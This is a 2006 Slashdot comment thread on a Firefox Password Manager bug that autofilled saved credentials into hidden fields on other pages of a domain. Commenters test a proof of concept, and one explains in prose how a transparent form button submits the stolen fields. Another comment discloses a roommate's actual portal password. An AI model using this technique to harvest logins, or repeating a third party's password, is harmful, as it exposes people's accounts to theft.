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Firefox 2.0 Password Manager Bug Exposes Passwords

zbuffered writes, "Today, Mozilla made public bug #360493, which exposes Firefox's Password Manager on many public sites. The flaw derives from Firefox's willingness to supply the username and password stored on one page on a domain to another page on a domain. For example, username/password input tags on a Myspace user's site will be unhelpfully propagated with the visitor's Myspace.com credentials. It was first discovered in the wild by Netcraft on Oct. 27. As this proof-of-concept illustrates, because the username/password fields need not be visible on the page, your password can be stolen in an almost completely transparent fashion. Stopgap solutions include avoiding using Password Manager and the Master Password Timeout Firefox extension, which will at least cause a prompt before the fields are filled. However, in the original case detailed in the bug report, the phish mimicked the login.myspace.com site almost perfectly, causing many users to believe they needed to log in. A description of this new type of attack, dubbed the Reverse Cross-Site Request (RCSR) vulnerability, is available from the bug's original author."

315 comments

  1. But but but.... by Anonymous Coward · · Score: 5, Funny

    ...secure by design!!

    1. Re:But but but.... by torndal · · Score: 1

      Secure and convenient by design possible?
      I am using Web Replay password manager because it fills passwords only on matching sites and store accurately browser address when password is saved. It is not vulnerable to this kind of attacks and I can tell it is very convenient; I can create buttons in browser toolbar for any of my online accounts and login with one click. Also it works on the new banking sites that have login forms spread on two pages.
      I deem this ff bug as extremely critical because it sends the saved password without user intervention. Should be fixed as top priority.

  2. Just 2.0 ? by Anonymous Coward · · Score: 0

    is that just for FF2.0 or below ?

    1. Re:Just 2.0 ? by Dj+Stingray · · Score: 0, Redundant

      I just ran the test on 1.5.0.8 and I am affected.

    2. Re:Just 2.0 ? by spatley · · Score: 1

      Same here in 1.5.0.2

    3. Re:Just 2.0 ? by Svippy · · Score: 0, Interesting

      Firefox 3.0 does not seem to have the problem. But Firefox 3.0 is still in Alpha. So yeah.

      --
      Clicked pie.
    4. Re:Just 2.0 ? by Anonymous Coward · · Score: 0

      I just ran the test on 1.5.0.7 and I am not affected.
      i really tried hard too allowing scripts to run and even a pop up window maybe it doesn't work the same on ubuntu

    5. Re:Just 2.0 ? by JackieBrown · · Score: 1

      I set my agent ID as firefox in Konqueror but the exploit didn't work. Damn, on of the few things user agent can't emulate.

    6. Re:Just 2.0 ? by quadra23 · · Score: 1

      I just ran the test on 1.5.0.7 and I am not affected.

      Somehow Firefox 1.5.0.8 seems to allow this exploit also. Are you sure 1.5.0.7 isn't vulnerable? If so, then wow I guess things went backwards between the two releases.

      maybe it doesn't work the same on ubuntu

      Although this could actually be why, I ran the test on a Windows XP Pro machine. If this only happens on Windows (though I don't know this for certain) chances are it might not be the Firefox team's fault after all. Interesting that 1passwd appears to have released a new version of their password manager little over a week ago before this exploit became publically known. Mac users might like the OS X keychain integration.

    7. Re:Just 2.0 ? by JackieBrown · · Score: 1

      Or it shows why Debian and Debian based distro's don't like to wait for mozilla for a fix.

    8. Re:Just 2.0 ? by Run4yourlives · · Score: 1

      I ran it (the proof of concept) on the same version and it didn't transmit anything to google.

    9. Re:Just 2.0 ? by giorgosts · · Score: 1

      Me too. didn't store pass in the pass. manager either, even when I clicked the remember password button. Even with the NoScript extension disabled

  3. I sense a disturbance in the force... by LordEd · · Score: 5, Funny

    ...as though millions of Firefox users were laughing at IE users, and were suddenly silenced.

    Cue "still more secure" arguments now.

    1. Re:I sense a disturbance in the force... by 0232793 · · Score: 0, Troll

      IE has the same problem - RTFA

    2. Re:I sense a disturbance in the force... by Fuzzums · · Score: 1

      Nope. I just prefer FF :D

      --
      Privacy is terrorism.
    3. Re:I sense a disturbance in the force... by LordEd · · Score: 4, Interesting
      I tested the proof of concept attack on IE7 before posting. The attack failed. TFA even says
      RCSR attacks are also actively targeting Microsoft Internet Explorer, however a flaw in Firefox makes the attack much more likely to succeed.
      Go RTFA (the proof of concept one) using IE and reply if you get a different result. I didn't try it with IE6.
    4. Re:I sense a disturbance in the force... by kevintron · · Score: 0

      Let's see now. Internet Explorer has numerous gaping security holes, in actual widespread use, that make my own computer vulnerable to intrusion and could even result in malware taking over my system to turn it into a zombie. Firefox turns out to have a flaw that might, in theory, allow someone to pose as me on various web sites.

      I'm still laughing at the IE users.

    5. Re:I sense a disturbance in the force... by Zonnald · · Score: 1

      "Note MSIE6|7 do the same." 1 line provided by a user with no information to back it up. Quality citation.

    6. Re:I sense a disturbance in the force... by 1trickymicky · · Score: 1

      yeah that was a weak attempt

    7. Re:I sense a disturbance in the force... by Digitalia · · Score: 2, Informative

      I tried it with both IE6 and IE7 and can confirm that on both of the computers I tried, the proof-of-concept page failed.

      --
      Pax Digitalia
    8. Re:I sense a disturbance in the force... by diegocgteleline.es · · Score: 1

      So the fact that your passwords can be stolen not just in IE, but also in Firefox, makes you happier?

    9. Re:I sense a disturbance in the force... by LordEd · · Score: 1
      Did you try it? Care to make it 2 lines provided with 2 users to back it up?

      Or would you prefer the 1 user multi-lined wordy edition?
      I, LordEd (user 840443), hereby solemnly swear under penalty of being modded down that my attempt to make the proof of concept page fail was genuine and that the result was an unsuccessful attack.

      Dated November 21, 2006 at 4:07 pm (PST).
      Witnessed by my cat.
      Would you like me to grab the domain heyslashdotitrieditandfoundie6didntfail.com and make a page/blog entry that says it doesn't fail?
    10. Re:I sense a disturbance in the force... by LordEd · · Score: 1

      No, the fact that the passwords were not stolen in IE made me happier. The attack failed (as in was unable to acquire the password).

      But if anybody cares, I'm still a Firefox user. I never use the save password feature.

    11. Re:I sense a disturbance in the force... by diersing · · Score: 1

      Um, I think its more then a theory, of course there thousands of practical exploits for MS and IE. No OS or application is immune, its just proves EVERYONE must keep things updates on a regular basis and generally be cautious.

    12. Re:I sense a disturbance in the force... by cayenne8 · · Score: 1
      "So the fact that your passwords can be stolen not just in IE, but also in Firefox, makes you happier?"

      Does anyone actually really USE the password manager on these things???

      I mean, the first time I fire up a browser, and it annoys me with that banner asking if PWM can help me with my passwords, I immediately say no...and go in preferences and turn the fucker off.

      What an irritant......

      --
      Light travels faster than sound. This is why some people appear bright until you hear them speak.........
    13. Re:I sense a disturbance in the force... by mabinogi · · Score: 1

      I use it for my proxy password. It'd be nice if it would separate Proxy authentication, HTTP authentication, and HTML forms. I never want to save passwords for HTML forms, always want to save the password for proxy authentication, and sometimes want to save HTTP authentication.

      --
      Advanced users are users too!
    14. Re:I sense a disturbance in the force... by metroplex · · Score: 1

      And so does Camino on OSX :( I just tested it.

      --
      "Words of wisdom: drop that zero and get with the hero" -- Vanilla Ice
    15. Re:I sense a disturbance in the force... by wwillia99 · · Score: 1

      I like it because I don't get pop-ups with FireFox like i did with IE, but that's only because my old computer is addled with spy-ware. My Internet used to go so slow because I got 2-3 pop-ups every time I went to a page but since I switched to FireFox not a one. We'll see how IE version 7 is my new computer crashed for the first while I was installing it so that was pretty bad right off the bat and I couldn't change my homepage in the opening tabs which seems pretty bad to me. I found a fix on the net where you log on in safe mode change the homepage and then restart and it was fixed but that is a lot of work to change my homepage. And yes i still think FireFox is more secure but only because spy-ware doesn't crush it.

    16. Re:I sense a disturbance in the force... by kevintron · · Score: 0

      In my case, it is just in theory, because I don't store my passwords in my browser. So of course I'd agree with your main point. Informed and cautious use is the best security measure.

      All the same, Internet Explorer doesn't need any of your passwords. Just running it poses a security risk.

    17. Re:I sense a disturbance in the force... by Frankie70 · · Score: 1


      Cue "still more secure" arguments now.


      Also, "it will be fixed by tommorow as compared
      to Microsoft's slow response" arguments.

    18. Re:I sense a disturbance in the force... by ticklish2day · · Score: 5, Funny

      I switched to IE7 a week ago after Vista RTMd. I don't miss FF. I've also been running without anti-virus for the entire week. I ran a system virus scan today and ZILCH - no viruses. No spyware or adware either. It might have to do with the fact that my machine isn't connected to a network...

    19. Re:I sense a disturbance in the force... by LordEd · · Score: 3, Informative
      Didn't even think of the 'response time' end.

      Please look at the bug report. Submission of testcase file is November 12 (9 days ago)

      From TFA:
      It was first discovered in the wild by Netcraft on Oct. 27 (25 days ago)
      The clock is ticking... will Firefox beat IE's response time?
    20. Re:I sense a disturbance in the force... by Crayon+Kid · · Score: 1

      I tried the proof of concept with Firefox 2 and it FAILED for me. How? I use the NoScript extension. NoScript for the win once again, in case anyone still doubted its claim: There's a browser safer than Firefox... it is Firefox, with NoScript!

      --
      i ate crayons when i was a kid and now i have two braincells and the blue ones taste nicer
    21. Re:I sense a disturbance in the force... by Anonymous Coward · · Score: 0

      Okay, so besides the ad-blocking (which can be pretty easily done with admuncher or many other mult-browser add-ins), what's better wrt FF2 vs. IE7?

      I will start this off:

      FF2 has Javascript 1.7(?)

      IE7 has a smaller running footprint and seems ti crash less [unheard of I know...right now a number of you are thinking I'm lying. I'm not - FF2 crashes more... That said, I'm in FF2 right now.

    22. Re:I sense a disturbance in the force... by morie · · Score: 1

      The exploit works on Firefox 1.5.0.4 also

      --
      Sig (appended to the end of comments I post, 54 chars)
    23. Re:I sense a disturbance in the force... by Anonymous Coward · · Score: 0

      It's sad the way you won't be modded up for this very important bit of information. The zealot crowd metamod/countermod team would strike in full force, and then that moderator would lose future mod privs.

    24. Re:I sense a disturbance in the force... by Daath · · Score: 1

      How? The proof-of-concept worked for me, and I use NoScript! And no, I didn't allow the site.

      --
      Any technology distinguishable from magic, is insufficiently advanced.
    25. Re:I sense a disturbance in the force... by Daath · · Score: 1

      Also, I forgot to write that NoScript has nothing to do with it, since the 'sploit doesn't use javascript at all.

      --
      Any technology distinguishable from magic, is insufficiently advanced.
    26. Re:I sense a disturbance in the force... by StoatBringer · · Score: 1

      Just give it time...

      --
      Cress, cress, lovely lovely cress
    27. Re:I sense a disturbance in the force... by zootm · · Score: 1

      NoScript won't mitigate this, as far as I can tell. If you didn't click "Remember" on the password prompt (or if you don't have the password manager enabled) it won't affect you, but since the "hole" is in the password manager you probably wouldn't expect it to...

    28. Re:I sense a disturbance in the force... by Guignol · · Score: 1

      That's what they want you to believe !
      This whole article is just a very well crafted hoax that exploits an IE bug that will be made public in about a week.
      Meanwhile, they try to gather as many passwords as they can from unsuspecting IE users; They found a very clever way it seems.
      (yes I'm just kidding)
      (it's not true)
      ...
      (I hope)

    29. Re:I sense a disturbance in the force... by bberens · · Score: 1

      How is the page supposed to execute an action (post the data) without javascript? You must be tricked into clicking an action button. You're not exactly bullet proof, but it does add a layer of protection.

      --
      Check out my lame java blog at www.javachopshop.com
    30. Re:I sense a disturbance in the force... by zootm · · Score: 3, Informative

      HTML forms work just fine without Javascript. And yes, you're effectively tricked into clicking an action button. If you look at the sample "injected HTML", they make it look like the user is clicking a Flash movie when in fact they're clicking a blank image-type <input> on the page. This submits the GET-style form. So long as the user is "tricked" into clicking something, and forms are allowed, this could steal the password from the password manager.

      The code is available in the text box at the bottom of the this page. Neither Flash nor Javascript is required to trigger the exploit, just a click from a user in a attacker-defined position on the page.

    31. Re:I sense a disturbance in the force... by Crayon+Kid · · Score: 1

      My bad, I got too happy too soon. It had to do with letting FF remember the password, of course, not with JavaScript.

      But on a related note, it's good to see that if you only allow FF to remember usernames, they're not affected by this.

      --
      i ate crayons when i was a kid and now i have two braincells and the blue ones taste nicer
    32. Re:I sense a disturbance in the force... by Tigwyk · · Score: 1

      Wow, did you post this using telepathy? I've always wondered how that worked.

      --
      "Pi is exactly 3!" *gasp*
    33. Re:I sense a disturbance in the force... by Anonymous Coward · · Score: 0

      This is the one point all the idiots miss.

    34. Re:I sense a disturbance in the force... by ticklish2day · · Score: 1

      Why... haven't you heard of the *other* computer?

  4. passwords have failed by hackstraw · · Score: 5, Insightful


    Now that its 2006, can we now use a better form of "authentication" than a few ascii characters?

    Every website wants you to have a password. You know, for important stuff like making a purchase because you use a password for a purchase at a brick and mortar store, right?

    Well, since its a good practice to use unique passwords, and users get forgetful, then they use the web browser tool to store their passwords, then they forget their passwords, and when they use another computer or update their existing one, their tool does not work, and if it does work, then the browser gives away your passwords.

    I don't use a password to get into my home, I don't start my car with a password, I don't use a password to get into my work. In fact, I don't even have a key for my work, server room, nothing (RFID). But all day at work, these programs continually ask for my password to the point that I dont consider my password secure because I have to change it, and use it so much, I'm desensisized (sp?) and say who cares?

    Can we get over passwords soon?

    1. Re:passwords have failed by Anonymous Coward · · Score: 2, Funny

      Did you have a proposed solution? Or were just cryin' like a little bitch with a skinned knee and shit?

    2. Re:passwords have failed by AlXtreme · · Score: 5, Insightful
      I don't use a password to get into my home, I don't start my car with a password, I don't use a password to get into my work. In fact, I don't even have a key for my work, server room, nothing (RFID).
      Locks get picked. Cars get stolen. RFID can be disrupted, tampered with or your card can get stolen (I'm assuming you don't have RFID tags in your arm). Likewise, passwords can be sniffed. Hell, it doesn't matter how good your encryption is, all it takes is a videocamera pointed at your keyboard.

      How far you go, it doesn't matter. There will always be a trade-off between security and convenience. Personally, I trust a good lock more than I trust RFID. But even if you go all the way to biometrics, there will always be way a to hack the system.

      Even so, this Firefox security flaw is a nasty one.

      --
      This sig is intentionally left blank
    3. Re:passwords have failed by irc.goatse.cx+troll · · Score: 5, Interesting

      I strongly hope so. My recommendation would be public key authentication, the way SSH can do it. You'd need a private key (possibly on a crypto card, but a thumbdrive or floppy or whatever works fine) and a password for that. You authenticate to the key when launching your encryption agent, then any website that wants to verify who you are contacts your agent and does the authentication there.

      Infinitely more secure than our current password system, a lot more convenient (think Microsoft Passport's bragged about convenience, except none of your data is stored on a central server), and all around the BetterWay(tm). The main downside if when roaming to another machine if you don't have your key, you don't have access. This can be addressed with either being able to fall back on a password (removing a lot of the security), or some means of authenticating to your home computer.

      You could also add some sort of spec for feeding VCard info into the agent so that sites could use it to do a sort of shared profile feature, where you'd authorize a site to receive certain info and save you a lot of time filling stuff out.

      Unfortunately this is just yet another thing on the list of "tech the way I think it should be", not anything on anyones todo lists.

      --
      Pain lasts, kid. Its how you know you're alive. Sometimes I think this growing up thing is just pain management-TheMaxx
    4. Re:passwords have failed by Xugumad · · Score: 1

      Yes! I'd love to see Firefox adapted to make client side certificates trivial (keep in mind that there's no need for the server to know that the client certificate is who it says it's from, only that the same certificate is always the same person), and more sites move to using SSL certificate authentication. For, y'know, useful things like never actually providing re-usable credentials to the server...

    5. Re:passwords have failed by Xugumad · · Score: 1

      > The main downside if when roaming to another machine if you don't have your key, you don't have access.

      USB flash drives are becoming really popular. Some standard location on a flash drive to place a private/public key pair, would mean you could provide credentials just by sitting down at a PC and plugging in your flash drive. Having said that, then means losing the drive is... really, really bad. Also means a virus infected system could grab your keys, but then that's more or less a risk with passwords anyway.

      I suppose, ideally, what we want is a stand alone device that plugs into USB, a PIN is entered into the device to enable it, and it handles all signing requests, with the keys never leaving the device itself. That's getting fairly fiendishly complex, though...

    6. Re:passwords have failed by Crudely_Indecent · · Score: 4, Insightful

      Passwords work great for me. I, however, use them with care.

      Any site that uses financial information (my bank, eBay, PayPal, Amazon, or whatever I'm buying, my own servers, etc.) doesn't get the password stored in any form of password manager. On the other hand, inconsequential services like news sites, LUG sites, aquarium discussion groups and the like may have the passwords stored. If it's important, don't store it, don't write it on a post-it note, don't tell your friends.....people cannot be trusted.

      It seems that any security protocol can be circumvented by exploiting the end users who use them poorly or rely on something other than common sense for security.

      It took all of about 5 minutes to explain phishing to my girlfriend. Now, she's almost 1/104358506th as paranoid as I am, which is a good start.

      Now, I'm out of tinfoil......off to the store.

      --


      "Lame" - Galaxar
    7. Re:passwords have failed by Steppman2 · · Score: 1

      From what I understand you'd still have to hit some form of submit button (fields are hidden but once Firefox fills them in you gotta get them to their server somehow). It seems to me like this kind of thing is an unforeseen natural side effect of anything that automatically fills in your information...Firefox is just doing what it's been told to do on that site, although I fail to see the mass damage here besides a bunch of emo kids getting their MySpace pages defaced since I doubt important sites like financial institutions or government related pages allow any custom content like this. The only thing that would scare me is if a phishing attack could use this to have it automatically entered...now that would be a bug.

    8. Re:passwords have failed by peragrin · · Score: 1

      The bigger problem is automatic passwords for websites. I never understood why such a feature would be installed. it's far safer to use a third party app, and look up the passwords as you need them. I can remember some but not all of mine. but all I need to remember is three.

      one to log onto my machine. One to decrypt an encrypted filesystem, and the third is for application in which I store the information. With OS X I can literally click twice, type in both passwords and can look up the forgotten password in 10 seconds. Closing the app and I can unmount the filesystem later.

      I know such a thing is available under both windows and Linux. Why don't more people use it?

      --
      i thought once I was found, but it was only a dream.
    9. Re:passwords have failed by Anonymous Coward · · Score: 1, Funny

      I know! Let's use a centralized auth. server! We will name it Passport!!!- ...damn never mind

    10. Re:passwords have failed by makomk · · Score: 1

      Well, JavaScript could be used to submit the form automatically, but any site that allows JavaScript in user-created content and has logins already has bigger security holes to worry about.

    11. Re:passwords have failed by wraithgar · · Score: 1

      Nope. Somebody mentioned that fallacy to me, so I whipped this up:

      http://sysadminco.com/vuln/

      No intervention needed on payload page. Javascript does it all automagically.

    12. Re:passwords have failed by baggins2001 · · Score: 1

      You know that's a good idea.
      Maybe if it would just encrypt the password on my system and only decrypt it when I ask it to.
      Would this be any less secure than using PGP keys?

      --
      He who said 1,000,000 monkeys on 1,000,000 typewriters would eventually type the great novel, never saw an AOL chat room
    13. Re:passwords have failed by xENoLocO · · Score: 1

      I remember justin frakel had a side project that did a good job at password management... I don't remember what it was called, though.

      --
      "The need to build the internet comes from something inside us, something programmed... something we can't resist."
    14. Re:passwords have failed by Kandenshi · · Score: 1

      My "third party app" is called notepad.
      Filled with lines of the type: www.ActuallyRealNotFakeWebsite.com SillyFoohon / SexyPassword Nothing superhardcore, but it works for me and puts another layer of separation between my passwords and the Bad People who'd want to know my login to slashdot for some reason.

      It's a bit more cumbersome than some of the alternatives out there I'm sure, but I've got enough crap on my computer as it is. I don't need another program hanging around to store my passwords. If it's well enough known that I'd trust it to not be spyware itself, I'd be half afraid of someone designing worms that try to lift the information from it. I figure that noone's going to bother searching all the hundreds of megs of .txt files on my computer and looking for account info.
      ... until now =\ Damnit!

    15. Re:passwords have failed by SanityInAnarchy · · Score: 1

      Yes it would, and Firefox will already do that for you, I believe.

      --
      Don't thank God, thank a doctor!
    16. Re:passwords have failed by Rakishi · · Score: 1

      The thing with those other password managers is that they keep the info encrypted, at least if they're sane and good. So the only way someone would get the passwords is if they either got your master password for the program or had compromised your system when you were looking up a password. If it's the later then you're screwed anyway.

      Honestly a print out (with the actual passwords stored in an encrypted file that is only accessed when a new password is added or a new printout is needed) is probably more secure for most people, someone would need to break into your house (and notice the piece of otherwise normal looking paper) to get all your passwords.

    17. Re:passwords have failed by hackstraw · · Score: 2, Interesting

      Locks get picked. Cars get stolen. RFID can be disrupted, tampered with or your card can get stolen (I'm assuming you don't have RFID tags in your arm).

      Someone across the world cannot pick a lock, steal a car, or disrupt an RFID tag, or any of those things.

      None of those things expire, have to be changed, have to be mentally remembered, cannot easily be given to another person without disrupting my use of them.

      Even simple locks that can be cut with simple wire cutters are more secure than a password because when a simple lock is used on something it symbolizes that it is something out of the ordinary.

      Passwords are ordinary to the point of being obnoxious. Normal users don't associate them with security, but something that just happens all the time on computers. Even today, its fairly trivial to social engineer a password over the telephone, but even the blondest of secretaries would not give keys to basically anything.

    18. Re:passwords have failed by daeg · · Score: 1

      Do you trust websites to have anything more than a few ASCII characters? While I'm all for more secure banking websites and securing authentication to a network server or secure authentication to my workstation, I don't trust websites with much more than what they absolutely need to serve me.

      What would you give them? Fingerprint? SSN? Photo? Voiceprint? Those are all things you cannot change. With an ASCII password, at least you can change it or throw it away.

    19. Re:passwords have failed by Shemmie · · Score: 1

      I believe a variation to the bog-standard "ASCII info per site" has been implemented - http://cardspace.netfx3.com/ . Sure, it's similar to a password manager, but the technology behind it allows for a great deal more.

    20. Re:passwords have failed by megaditto · · Score: 1

      How 'bout we tattoo a unique number onto a forhead of every person (and make it so that nobody could buy or sell without it) like the Good Book said we should?

      --
      Obama likes poor people so much, he wants to make more of them.
    21. Re:passwords have failed by Cid+Highwind · · Score: 1

      Can we get over passwords soon?

      Just as soon as someone thinks up a solution that doesn't require new hardware (no SecurID, RFID, or USB keys), works on every client browser/OS (no Windows/MSN passport), can be anonymous (no personal certs), can be revoked (no biometrics), and is more secure. Just because nobody's done it yet doesn't mean it's impossible...

      --
      0 1 - just my two bits
    22. Re:passwords have failed by a.d.trick · · Score: 1

      Your description remindes me of OpenID. It's a really cool system, and you don't even have to worry about lugging it around. The problem isn't that the tech is not there. My guess is that people avoid it because they don't know how the system works and their afraid they'll screw something up. Also OpenID won't be really, really useful until a lot more websites start using it.

    23. Re:passwords have failed by Anonymous Coward · · Score: 0

      Very nice, except it doesn't work.

      "Your logins is /"

      Umm, ok. At least it has a cute dog.

    24. Re:passwords have failed by cerberusss · · Score: 1
      Every website wants you to have a password. You know, for important stuff like making a purchase because you use a password for a purchase at a brick and mortar store, right?
      No, for the convenience of remembering your home address and credit card number. And of course, for the store owner to do a little profiling, but I personally would go nuts having to type my info for every book I buy at my favorite webshop.
      --
      8 of 13 people found this answer helpful. Did you?
    25. Re:passwords have failed by HeroreV · · Score: 1

      Dibs on 666!

    26. Re:passwords have failed by jibjibjib · · Score: 1
      Yeah, slashdot should start using openID.

      Passwords are dead! Netcraft confirms it!

    27. Re:passwords have failed by shellbeach · · Score: 1
      Well, since its a good practice to use unique passwords, and users get forgetful, then they use the web browser tool to store their passwords, then they forget their passwords, and when they use another computer or update their existing one, their tool does not work, and if it does work, then the browser gives away your passwords.

      But that's merely bad user practise - it doesn't mean that the password concept is invalid.

      Personally, I use my PDA to store all passwords under a master password, but most OSes provide the same function. Even firefox, I believe, has the option to use a master password if you want - presumably you won't get caught by this trap then unless you're very stupid (I'm assuming that it's a sensible implementation which asks for the master password each time)

      Passwords are great because they can work locally or remotely. As far as I know, there isn't a physical key created yet that you can enter into a remote login form ...
    28. Re:passwords have failed by xtracto · · Score: 1

      Any site that uses financial information (my bank, eBay, PayPal, Amazon, or whatever I'm buying, my own servers, etc.) doesn't get the password stored in any form of password manager.

      Well, I do the same thing but for every site. I do not like storing passwords even in my laptop as I do not mind entering them each time I want to log in for a service. Of course, I touch type at 100 wpm average and (and 110 on Dvorak) and I know it makes a difference.

      As about the passwords, I used to have one password 3 passwords for all the sites, and I chose any of them to use but they where "weak". Some time ago I decided to get a "real" password and went to one of those random password generator sites and got a random password with 128 characters [A-Z][a-z][0-9]. I wrote it down in a postit note and put it in my wallet. What I do with it is divide it into subpasswords of 8 characters and use each of those passwords in some places. Until now I have just used the first 2 sub passwords and I have memorized them. You memorize them similarly to how you memorize your girlfriend (or the pizza man for hardcore slashdotters) telephone number [which is the same principle how you memorize the keys when you learn to touchtype].

      I use the 16 characters for things like paypal and my email. Unfortunately my bank has a special system of security number (which asks for specific digits of sec number) hence I cant use my pass.

      I really recommend people to get one of those passwords, when you first get it (and write it down) it wont make any sense "QA4adsfk lkHadsoP" but after using it for one month you will memorize it. Oh and once you have that password memorized you can make any kind of combination writing it backwards or choosing the 4 last and first characters of two subsequents subsets...

      --
      Ubuntu is an African word meaning 'I can't configure Debian'
    29. Re:passwords have failed by wud · · Score: 2, Funny

      i store all my trivial passwords on bugmenot.com

      --
      wud
    30. Re:passwords have failed by Anonymous Coward · · Score: 0

      "USB flash drives are becoming really popular. Some standard location on a flash drive to place a private/public key pair,"

      Mobile phones are really popular. I would use it for storing such info

    31. Re:passwords have failed by Anonymous Coward · · Score: 0
      and use it so much, I'm desensisized (sp?)
      Ah, obviously not a Firefox 2.0 user..
    32. Re:passwords have failed by jvkjvk · · Score: 1

      Passwords are ordinary to the point of being obnoxious. Normal users don't associate them with security, but something that just happens all the time on computers. Even today, its fairly trivial to social engineer a password over the telephone, but even the blondest of secretaries would not give keys to basically anything.

      And why not? If your security mechanism (whatever it is) is adopted worldwide how is it not going to be as ubiquitous as a password. Why wouldn't people start treating it exactly the same way? Why wouldn't the secretary hand her RFID chip to someone if they would tell them the password (or perhaps have her authorize on some page or other to slurp the contents)?

      I don't see anything in another mechanism that would contravene the natural tendency of the importance of the authentication factor to be minimized. Face it, anything that must be used all the time is pretty much going to become rote.

    33. Re:passwords have failed by dfgchgfxrjtdhgh.jjhv · · Score: 1

      yes, thats exactly how it should be, you could store your key on a usb thumb drive & take it with you.

    34. Re:passwords have failed by Qetu · · Score: 1

      That seems like a good password policy.
      Remembers me of this snippet:
      http://www.youtube.com/watch?v=HbYK1eLPdIc

    35. Re:passwords have failed by Fred_A · · Score: 1
      Can we get over passwords soon?
      All my passwords are blank. Since nobody expects that, all my systems are secure. ;)
      --

      May contain traces of nut.
      Made from the freshest electrons.
    36. Re:passwords have failed by deserttrail · · Score: 1

      Damn your uber-hacker puppy!!!

      --
      Be civil to all; sociable to many; familiar with few; friend to one; enemy to none. --Benjamin Franklin
  5. Is it used? by oyenstikker · · Score: 5, Insightful

    People actually let their browsers remember their passwords? I have never trusted my browser that much.

    --
    The masses are the crack whores of religion.
    1. Re:Is it used? by wumpus188 · · Score: 2, Funny

      That's what this new service is for. Let others remember your passwords!

    2. Re:Is it used? by crabpeople · · Score: 1

      Well considering the first time you enter form information FF prompts you to "Save information so you dont have to type it again", well what clueless luser wouldn't do that? Lusers hate to type!

      Saving passwords should not be a browser feature. I am ashamed that such a big bug could make it into firefox. Hopefully staying on 1.5 and not using any sort of "password management" (except cookies) will keep me safe from this. At least it will probably be ficed today, if it hasn't already been fixed.

      --
      I'll just use my special getting high powers one more time...
    3. Re:Is it used? by Firehed · · Score: 3, Interesting

      It's not your own browser to worry about. It's others browsers. My roommate decided to borrow my machine and was stupid enough to have Firefox remember his password on my machine to the main school portal. No biggie, except that the 'reveal all passwords' button exists (and, last I checked, required no authentication to use).

      Of course, the truly telling moment was when I found out how lame his password is. Not that I'd expect anything different from someone dumb enough to store their password on someone else's computer in the first place.

      So, in other words, passwords continue to be useless for people dumb enough to leave them lying around. I've used the same password for years and it's by no means secure (only just a bit more secure than using my first name) but it's never been an issue for me. The only time I've been concerned is when websites force me to come up with something that fits their requirements, because that means that I do end up writing it down somewhere. The sooner webmasters realize that setting specific requirements for passwords makes them less secure (my bank requires an alphanumeric PW 6-8 letters long with mixed case - that massively narrows down a brute force attack), the better. In the end, most of it comes down to user stupidity, so we might as well not limit the complexity of good users or force them to use something too obscure to remember (or, worse, say 'write this down in a place you can easily access').

      --
      How are sites slashdotted when nobody reads TFAs?
    4. Re:Is it used? by EvanED · · Score: 1

      I use it all the freaking time. I don't want to be constantly entering my password. I'm lazy.

      Now, granted, my computer doesn't remember my bank password for instance... I enter that each time. (I don't even know it... it's a ~14 character, randomly generated password stored in a PasswordSafe database.) But for sites like /., you betcha that Firefox knows my password.

    5. Re:Is it used? by Odiumjunkie · · Score: 4, Informative

      > No biggie, except that the 'reveal all passwords' button exists (and, last I checked, required no authentication to use). Firefox, for as long as I can remember, has allowed you to set a master password, without which the password manager will not populate any password feilds and will not allow the viewing of any stored passwords.

    6. Re:Is it used? by makomk · · Score: 4, Interesting

      I use Konqueror/KWallet to remember most of my password. It's encrypted (requires a password to access), only fills in the forms on the page you originally hit "Save Password" on (inconvenient, but helps reduce the security issues), and closes the wallet (requiring re-entry of the password) when I lock my screen, my screensaver starts up, or after 10 minutes of non-use of the wallet. Slightly paranoid compared to Firefox, but it works.

    7. Re:Is it used? by geekoid · · Score: 1

      "the truly telling moment was when I found out how lame his password is. "

      so, what was it?

      --
      The Kruger Dunning explains most post on /. http://en.wikipedia.org/wiki/Dunning%E2%80%93Kruger_effect
    8. Re:Is it used? by kosmosik · · Score: 1

      Yeah I do. It is like I use the Web a lot. Think SlashDot, think Del.Ic.iosus..whateva think whatever little forum or not so important web service. I do store the password in browser. What else do you suggest? Remembering 100+ different passwords maybe is possible for me but I've got better things to do. :)

      I use quite common scheme - I don't care about remembering my passwords at all if they are related to not so critical things like my Slashdot account, Bugzilla account for project Foo etc. etc. - I generate random passwords for these accounts and let my browser remember it.

      For more critical stuff I use keys/keychain (like remote login to servers) or I have few passwords that I really remember (bank account, eBay etc.).

      Isn't it like all people do?

    9. Re:Is it used? by Firehed · · Score: 1

      kitcivic
      No, I won't tell you the school or the username. But if you want to dig around, go ahead - my name and college are certainly out there if you want to look at his course schedule.

      --
      How are sites slashdotted when nobody reads TFAs?
    10. Re:Is it used? by Tumbleweed · · Score: 1

      People actually let their browsers remember their passwords? I have never trusted my browser that much.

      It's sad that you don't have a loving, trusting relationship with your browser. Perhaps you should get some therapy...

    11. Re:Is it used? by Kanasta · · Score: 1

      1) You really care if someone stole your pw at say /. or a forum? And every dumb site now requires a login...
      2) Banking sites don't seem to get their PWs saved anyway, as much as I'd like them to.

      3) in the end, your ISP has your PWs, so if ur important enuf, ppl can get your stuff.

    12. Re:Is it used? by Phroggy · · Score: 3, Insightful

      Saving passwords should not be a browser feature. I am ashamed that such a big bug could make it into firefox.

      Saving passwords absolutely should be a browser feature; it's a feature I use all the time.

      However, I too am ashamed that such a big bug - or rather, design flaw - could make it into Firefox. I understand the usefulness of being able to use the same saved password information across multiple login forms on one site, but surely someone should have realized the danger here. I mean, these are browser developers. They should have known better.

      Hopefully they'll figure out a solution soon.

      --
      $x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
      $x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
    13. Re:Is it used? by Anonymous Coward · · Score: 0

      If you were a moderator on a forum, you wouldn't want your password stolen.

    14. Re:Is it used? by FLEB · · Score: 1

      I think there's just a big shift going on in what needs to be secured, and the browser-makers are still catching up.

